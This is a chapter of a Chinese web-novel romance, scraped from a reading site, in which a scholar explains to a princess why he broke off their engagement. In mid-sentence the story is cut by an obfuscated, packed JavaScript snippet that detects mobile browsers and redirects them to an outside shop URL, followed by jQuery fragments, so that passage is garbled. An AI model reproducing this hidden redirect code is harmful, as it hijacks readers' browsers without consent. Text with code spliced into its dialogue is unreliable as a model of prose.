默认冷灰
24号文字
方正启体

6.退婚真相

作者:青满川本书字数:K更新时间:
    不出楚君泽所料,那确实是林府的帖子,林思远要来拜访,楚离无所谓地同意了。


    林思远,是转过天的巳时初登门,柔风朗日,却带着山雨欲来的压迫感。


    春色潋滟中,楚君泽分花拂柳而来,转过一丛迎春花,抬眼就看到一身素白,如翠竹般迎风而立的林思远,这位貌胜春花的会元郎只笔直地站在垂花门前,便点睛了一园春色。


    楚君泽不得不承认,眼前之人这副皮囊与他的文采一般,皆是十成十的出色。


    而这清风朗月般的人物,正用一种近乎痴缠的目光,眷恋地凝视他,眼里是化不开的温柔缱绻。


    此刻,在林思远眼中:


    明艳的女郎一袭藕荷色长袍,从回廊下的竹影里慢慢靠近,倾泻的晨光透过竹叶,轻轻浅浅地点缀在她的衣裙上,这春光织就的华服,也衬托不出女子万一颜色。


    楚君泽止步,立在两丈外的柳树下,不去理会对方眼底涌动的情绪,只静静地望向前方虚空。


    一人眼里只有另一人,另一人却目中空空,二人僵持着,谁也不开口。


    会元郎炙热的目光在楚君泽淡漠的脸上逡巡许久,却并未降了温,反倒摩擦起了热,终于扛不住败下阵来,垂眸问道,“许久不见,郡主就没什么想与我说的吗?”


    楚君泽皱眉,斜睨他一眼,“穿得这么肃静,这回是府上哪位仙逝了?”


    楚君泽这话自然不是无的放矢。


    据辰姑姑所说:


    当初,林府本来商说定楚离及笄后议亲,哪成想,大长公主薨逝后,林思远祖母也一病不起,皇觉寺方丈说可以冲喜,三代单传的林思远作为唯一子嗣当仁不让,可楚离也是大长公主唯一血脉,守孝不可废,两府各有坚持,最终婚事只能作罢,林家退亲另娶,不曾想旧亲方退,新亲未结,林老夫人便与世长辞,结果,二人各自守孝至今。


    楚君泽心中纳闷,若因孝道退亲,倒也无可厚非,但看主仆几人对林思远嫌恶的态度,中间必然还有不足为外人道的典故。


    楚君泽的话说得并不客气。


    林思远闻言,面上一僵,低头打量自己,一身月白绣云纹的袍子,清新俊逸,怎到她口中就成了丧服,猜她应是余怒未消,故意挖苦,他倒也不生气,柔声解释,“你前日才归京,不晓得京城近来盛行素雅之风,男女皆喜着素练之色,郡主若不喜,我下次便不穿了。”


    油嘴滑舌,楚君泽如是想,只淡淡瞥了一眼,便挪开视线。


    林思远却以为自己太过直白,唐突了姑娘,忙找补道,“不穿也不是因为你的缘故,我肤白,确实不适合素白,显着气色不好。”


    月白的蜀锦,映衬寒玉般的肌肤,相得益彰,这话听着更像是炫耀。


    楚君泽没忍住,将白眼翻了出来。


    林思远也反应过来自己说了什么,懊恼得额角冒汗。


    短暂交流后,又归于沉默,一个是无话可说,一个是无言以对。


    静谧带着尴尬蔓延开来,就连燕子都绕开这块儿,从远处远远飞向更远处,


    林思远局促地撇开眼睛,却瞧见在楚离身后仗许位置跟着两人,一个是那女侍卫射鹿,另一个则是生面孔,十四五的年纪,芝兰玉树,只是那淡漠的眼神似乎看透了世间繁华,沉静得让人背脊发凉,神情慵懒中又透着一股与生俱来的柔媚。


    这眼神,他只在一人眼中看过,林思远一惊,将目光回望向楚君泽,那眼中有高傲,有热忱,有审视,却独没有看破世间万般诸相的死寂,也没有遗世独立惊艳的不自知。


    楚离身上独有的气质奇诡地转移到了一个陌生男子身上。


    林思远被自己的发现吓了一跳,目光在二人身上流转,最后竟盯着楚离怔怔出神。


    见林思远的目光在楚君泽与楚离间转了一个来回,射鹿蹙眉上前一步,不动声色挡在楚离身前,隔绝了他探查的目光,


    楚君泽也抬手招呼,以主人之姿将林思远引进了花厅。


    楚君泽主位落座,林思源坐在右侧,射鹿虽为楚离侍从,长公主为了方便行事,也给她谋了个五品虎烈将军的闲职,故而这厅上她倒是坐在了尊位。


    一应瓜果茶点被流水般地端上来。


    林思远见方才的少年并未随着进来,出声问道,“虎贲将军,方才您身旁的那位郎君瞧着颇为面生,不知是府上哪位公子?”


    “不过寻常侍从,不置林公子一顾!”不等射鹿开口,楚君泽抢先道,“殿试当前,林公子专程来访,所为何事?”


    林思远诧异她如此主动,感叹道,“三年不见,郡主开朗了许多。”


    楚君泽心道糟糕,想起楚离那张没有表情的死人脸,缓缓压下嘴角,学着她的样子,悠悠道,“毕竟来者是客。”


    林思远望向楚君泽,此刻他收敛神情,与往日的楚离一般无二,彻底唤醒林思远不敢触碰的回忆,想到她可能属意旁人,心中酸涩。


    林思远目光沉沉,攥紧拳头语气坚定地说道,“确实有事要与郡主说,当面退亲之事中有些误会,某特来解释清楚。”


    射鹿冷峻的脸上露出浓浓鄙夷,“误会?林大公子为祖母冲喜牺牲亲事,孝感动天,享誉全国,哪里有误会?”


    林思远脸涨得通红,讷讷道,“当初退亲另有隐情!”


    射鹿冷哼一声,“什么隐情?当初林大公子带着定亲信物,只身勇闯大长公主灵堂退亲,那份决绝,怎么看都不像被逼的!”


    “确实,退亲并非被人逼迫,但理由却并非之前所说!为祖母冲喜不过掩人耳目的借口,实则林某属意他人!”林思远原本堵在喉头一年多的话,终于被射鹿刺激得脱口而出。


    空气瞬间凝滞,几人只能听到各自心跳的咚咚声。


    射鹿拍案而起,紫檀木的小几应声碎裂,置于其上的杯碟瞬间倾覆,哗啦啦碎了一地!


    “庶子欺人太甚!”


    楚君泽被射鹿一声怒吼震得耳根发疼,蹙眉瞪了一眼始作俑者,这黑无常气地一佛升天的模样,倒显得他这个正主过于平淡了,不过想到楚离那泰山崩于前而面不改色的做派,他瞬间明悟,好整以暇地端起了茶,故意让自己的声音冷了几分,对着林思远问道:


    “所以,是那女子对你用了什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534411|203673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手段?还是有何隐情?”


    林思远缓缓摇头,“那女子才貌双全,虽对我一往情深,却并未行不妥之举,我二人亦恪守礼节,从无逾矩!”


    楚君泽内心震惊,却努力维系着表面的镇静,“既如此,你我亲事已退,你二人已无阻碍,今日何故多此一举,徒增口舌?”


    林思远娓娓道来,“当年,我心有所属,假借祖母之名来府上退亲,欲换回定亲信物,国公爷言明信物一直由你保管,我便快马加鞭赶去江陵,尤记得灵堂上看到你一身素缟,如空谷幽兰遗世独立,某平生所见女子无人及你万一,我顿生悔意!可国公府的消息已先一步送到,郡主目下无尘,不再听某辩白,决绝退回信物……”


    闻言,楚君泽内心大骇,所以,他说的误会就是他一而再地见异思迁,悔婚退亲,然后又后悔了?


    射鹿抬手握住刀柄,随时拔刀而起的模样,眼中恨意毫不掩饰,似要让林思远血溅当场,楚君泽安抚地抬抬手,示意射鹿冷静,看林大公子那模样,显然还有后话,他着实好奇。


    林思远见射鹿被压制下去,继续道,“收到大长公主病逝消息时,祖母早已病入膏肓,本就靠着亲眼见我成婚吊着口气,眼见指望落空,病情急转直下,竟药食不进,冲喜一说也确有其事,我去皇觉寺为祖母祈福,方丈卜算说冲喜或可一试,当时我心有所属,也知身为大长公主唯一血脉,郡主不可能热孝之内成婚,便利用冲喜一事,达成自己不可告人的目的。”


    楚君泽暗暗赞叹,好个三全其美的阳谋,尽了孝道,博了名声,还达成了目的,不愧是被亚圣都赞的人物。


    十岁就收获小三元,前途可期,林家家风清正,其父林大人不仅无妾氏通房,即便夫人早亡,也未曾续娶,若嫁过去,上不用侍奉婆母,下不用照顾妾氏,又无庶弟庶妹烦心,确实不错。


    多好的夫君人选啊,可惜了。


    林思远的声音再次传来,“在下并非存心隐瞒,之所以如此行事,实乃权衡后的万全之计,对内能让两家接受退亲,对外能顾全彼此颜面,后续又能成全我的私心。”


    射鹿搭在膝盖上的长袍,已被她攥得皱巴巴,目光覆了冰霜,反问道,“明明有婚约在身还与旁人暗通款曲,是为不义!不顾未婚妻悲伤痛苦设计退亲,是为不仁!以祖母作筏,又欺瞒父亲,是为不孝!以平民之身,欺辱陛下亲封的郡主,是为不忠!不仁不义,不忠不孝之徒竟还高中会元,苍天无眼!”


    林思远美目中也染上了薄霜,“虎贲将军,我有错,可也是因为我对待亲事过分慎重,于旁人而言,夫妻不睦,大可再纳妾!但我林府规矩一夫一妻,一生一世,所以某婚前谨慎择选,为彼此负责,虽不够光明磊落,却也并没有你说的那般不堪!纵然有错,也并非你说的那种罪大恶极之辈!”


    这一句,让射鹿满肚子话堵在了喉咙,整张脸都涨得通红,仿佛下一秒,就要爆开了。


    楚君泽慢条斯理地端起茶盏,轻呷一口,劝解道,“确实,林公子有什么错呐?他只是见一个,爱一个!”


    见楚君泽一副无所谓的态度,林思远心头一沉。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)